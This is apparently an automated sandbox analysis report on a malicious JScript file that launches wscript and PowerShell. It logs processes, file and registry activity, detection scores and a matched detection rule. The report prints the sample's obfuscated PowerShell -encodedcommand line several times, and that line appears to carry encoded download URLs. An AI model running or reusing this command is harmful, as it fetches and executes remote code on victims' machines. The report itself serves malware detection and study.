AdQBpAHoAegBlAGUARABlAGMAZQBsAGUAcgBvAG0AZQB0AGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AUQBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATgBnAEEAegBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQAiADsAJABpAG0AbQBhAHIAYwBlAHMAYwBpAGIAbABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATQBRAEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAxAEEARABVAEEATABnAEEAMwBBAEQAUQBBAEwAdwBCADYAQQBFAFEAQQBNAGcAQgBrAEEARQBJAEEATAB3AEIAMwBBAEQAUQBBAFQAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAEEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AdwBBADIAQQBDADQAQQBOAEEAQQAxAEEAQwA4AEEAVABnAEIATgBBAEUASQBBAFQAQQBBAHYAQQBHAEUAQQBSAFEAQgA1AEEARQA0AEEAYgB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAawBBAEwAZwBBADQAQQBEAEkAQQBMAGcAQQAxAEEARABJAEEATABnAEEAMgBBAEQAVQBBAEwAdwBBAHkAQQBHAFkAQQBMAHcAQgBUAEEAQQA9AD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARQB3AEEAWgBBAEIAWABBAEcAUQBBAFIAQQBCAEcAQQBBAD0APQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBnAEEAegBBAEMANABBAE4AZwBBAHgAQQBDADgAQQBPAFEAQgBoAEEARABZAEEATgB3AEIAdwBBAEcAVQBBAGMAdwBBAHYAQQBIAGcAQQBhAEEAQgBaAEEASABnAEEAZABBAEIAUgBBAEQAQQBBAFMAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEAMABBAEMANABBAE0AUQBBADEAQQBEAGsAQQBMAGcAQQA1AEEARABnAEEATAB3AEIAUQBBAEgAQQBBAFYAUQBCAFoAQQBGAGcAQQBMAHcAQQA0AEEARQBZAEEATgBRAEIATgBBAEQAVQBBAE4AdwBCAEIAQQBFAG8AQQBaAEEAQQA1AEEARwBJAEEATQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABUAGUAbgBhAGkAbABsAGUAIABpAG4AIAAkAGkAbQBtAGEAcgBjAGUAcwBjAGkAYgBsAGUAIAAtAHMAcABsAGkAdAAgACIAUQAiACkAIAB7AHQAcgB5ACAAewAkAEEAcgB0AGkAZgBpAGMAaQBhAGwAaQB0AGkAZQBzACAAPQ			Jump to behavior

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 7544
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 7544			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 6908, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: Semischolastica.js

Initial sample: Strings found which are bigger than 50

Source: Semischolastica.js	ReversingLabs: Detection: 13%
Source: Semischolastica.js	Virustotal: Detection: 30%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Semischolastica.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" "C:\ProgramData\WeigelasScribbleable.js" ProtopathicCosmographically pachisisCounterproductiveness KnowingestGemmer theoreticianRoundishness
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAHYAYQBuAHQAbABhAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBiAHcAQgB5AEEARwA0AEEAYQBRAEIAbQBBAEcAawBBAFkAdwBBAHUAQQBHAE0AQQBZAFEAQgB6AEEARwBFAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBNAHcAQQB1AEEARABJAEEATgBRAEEAdwBBAEMANABBAE0AUQBBADIAQQBEAGsAQQBMAGcAQQAxAEEARABjAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEkAQQBZAFEAQgAxAEEARwA0AEEAWQB3AEIAbwBBAEcAawBBAFoAUQBCAHkAQQBDADQAQQBaAHcAQgBoAEEARwAwAEEAWgBRAEIAegBBAEEAPQA9AGEAbgBuAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATQB3AEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAFEAQQBOAGcAQQB1AEEARABFAEEATQB3AEEANQBBAEEAPQA9ACIAOwAkAGYAbABlAHQAYwBoAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAYwBBAGIAdwBCAGgAQQBHAFEAQQBaAFEAQgB5AEEARgBBAEEAYQBBAEIAaABBAEcANABBAFoAUQBCAHkAQQBHADgAQQBaAHcAQgBoAEEARwAwAEEAYQBRAEIAaABBAEMANABBAGIAQQBCAHAAQQBHADQAQQBhAHcAQQA9ACIAOwAkAFEAdQBpAHoAegBlAGUARABlAGMAZQBsAGUAcgBvAG0AZQB0AGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AUQBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATgBnAEEAegBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQAiADsAJABpAG0AbQBhAHIAYwBlAHMAYwBpAGIAbABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATQBRAEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAxAEEARABVAEEATABnAEEAMwBBAEQAUQBBAEwAdwBCADYAQQBFAFEAQQBNAGcAQgBrAEEARQBJAEEATAB3AEIAMwBBAEQAUQBBAFQAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAEEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AdwBBADIAQQBDADQAQQBOAEEAQQAxAEEAQwA4AEEAVABnAEIATgBBAEUASQBBAFQAQQBBAHYAQQBHAEUAQQBSAFEAQgA1AEEARQA0AEEAYgB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAawBBAEwAZwBBADQAQQBEAEkAQQBMAGcAQQAxAEEARABJAEEATABnAEEAMgBBAEQAVQBBAEwAdwBBAHkAQQBHAFkAQQBMAHcAQgBUAEEAQQA9AD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARQB3AEEAWgBBAEIAWABBAEcAUQBBAFIAQQBCAEcAQQBBAD0APQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBnAEEAegBBAEMANABBAE4AZwBBAHgAQQBDADgAQQBPAFEAQgBoAEEARABZAEEATgB3AEIAdwBBAEcAVQBBAGMAdwBBAHYAQQBIAGcAQQBhAEEAQgBaAEEASABnAEEAZABBAEIAUgBBAEQAQQBBAFMAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEAMABBAEMANABBAE0AUQBBADEAQQBEAGsAQQBMAGcAQQA1AEEARABnAEEATAB3AEIAUQBBAEgAQQBBAFYAUQBCAFoAQQBGAGcAQQBMAHcAQQA0AEEARQBZAEEATgBRAEIATgBBAEQAVQBBAE4AdwBCAEIAQQBFAG8AQQBaAEEAQQA1AEEARwBJAEEATQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABUAGUAbgBhAGkAbABsAGUAIABpAG4AIAAkAGkAbQBtAGEAcgBjAGUAcwBjAGkAYgBsAGUAIAAtAHMAcABsAGkAdAAgACIAUQAiACkAIAB7AHQAcgB5ACAAewAkAEEAcgB0AGkAZgBpAGMAaQBhAGwAaQB0AGkAZQBzACAAPQ
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" "C:\ProgramData\WeigelasScribbleable.js" ProtopathicCosmographically pachisisCounterproductiveness KnowingestGemmer theoreticianRoundishness	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAHYAYQBuAHQAbABhAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBiAHcAQgB5AEEARwA0AEEAYQBRAEIAbQBBAEcAawBBAFkAdwBBAHUAQQBHAE0AQQBZAFEAQgB6AEEARwBFAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBNAHcAQQB1AEEARABJAEEATgBRAEEAdwBBAEMANABBAE0AUQBBADIAQQBEAGsAQQBMAGcAQQAxAEEARABjAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEkAQQBZAFEAQgAxAEEARwA0AEEAWQB3AEIAbwBBAEcAawBBAFoAUQBCAHkAQQBDADQAQQBaAHcAQgBoAEEARwAwAEEAWgBRAEIAegBBAEEAPQA9AGEAbgBuAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATQB3AEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAFEAQQBOAGcAQQB1AEEARABFAEEATQB3AEEANQBBAEEAPQA9ACIAOwAkAGYAbABlAHQAYwBoAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAYwBBAGIAdwBCAGgAQQBHAFEAQQBaAFEAQgB5AEEARgBBAEEAYQBBAEIAaABBAEcANABBAFoAUQBCAHkAQQBHADgAQQBaAHcAQgBoAEEARwAwAEEAYQBRAEIAaABBAEMANABBAGIAQQBCAHAAQQBHADQAQQBhAHcAQQA9ACIAOwAkAFEAdQBpAHoAegBlAGUARABlAGMAZQBsAGUAcgBvAG0AZQB0AGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AUQBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATgBnAEEAegBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQAiADsAJABpAG0AbQBhAHIAYwBlAHMAYwBpAGIAbABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATQBRAEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAxAEEARABVAEEATABnAEEAMwBBAEQAUQBBAEwAdwBCADYAQQBFAFEAQQBNAGcAQgBrAEEARQBJAEEATAB3AEIAMwBBAEQAUQBBAFQAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAEEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AdwBBADIAQQBDADQAQQBOAEEAQQAxAEEAQwA4AEEAVABnAEIATgBBAEUASQBBAFQAQQBBAHYAQQBHAEUAQQBSAFEAQgA1AEEARQA0AEEAYgB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAawBBAEwAZwBBADQAQQBEAEkAQQBMAGcAQQAxAEEARABJAEEATABnAEEAMgBBAEQAVQBBAEwAdwBBAHkAQQBHAFkAQQBMAHcAQgBUAEEAQQA9AD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARQB3AEEAWgBBAEIAWABBAEcAUQBBAFIAQQBCAEcAQQBBAD0APQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBnAEEAegBBAEMANABBAE4AZwBBAHgAQQBDADgAQQBPAFEAQgBoAEEARABZAEEATgB3AEIAdwBBAEcAVQBBAGMAdwBBAHYAQQBIAGcAQQBhAEEAQgBaAEEASABnAEEAZABBAEIAUgBBAEQAQQBBAFMAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEAMABBAEMANABBAE0AUQBBADEAQQBEAGsAQQBMAGcAQQA1AEEARABnAEEATAB3AEIAUQBBAEgAQQBBAFYAUQBCAFoAQQBGAGcAQQBMAHcAQQA0AEEARQBZAEEATgBRAEIATgBBAEQAVQBBAE4AdwBCAEIAQQBFAG8AQQBaAEEAQQA1AEEARwBJAEEATQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABUAGUAbgBhAGkAbABsAGUAIABpAG4AIAAkAGkAbQBtAGEAcgBjAGUAcwBjAGkAYgBsAGUAIAAtAHMAcABsAGkAdAAgACIAUQAiACkAIAB7AHQAcgB5ACAAewAkAEEAcgB0AGkAZgBpAGMAaQBhAGwAaQB0AGkAZQBzACAAPQ	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4964:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lsaixmmc.yur.ps1

Jump to behavior

Source: classification engine

Classification label: mal92.evad.winJS@6/6@0/0

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbs089 source: powershell.exe, 00000003.00000002.965250834.0000021D7D1A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb9 source: powershell.exe, 00000003.00000002.965436092.0000021D7D204000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbGM= source: powershell.exe, 00000003.00000002.965436092.0000021D7D24F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000003.00000002.964639964.0000021D7D004000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000003.00000002.965436092.0000021D7D204000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.pdbY source: powershell.exe, 00000003.00000002.964639964.0000021D7CFA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: powershell.exe, 00000003.00000002.965436092.0000021D7D24F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000003.00000002.965436092.0000021D7D204000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000003.00000002.964639964.0000021D7CFBA000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: wscript", ""C:\ProgramData\WeigelasScribbleable.js", "", "open", "0");

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
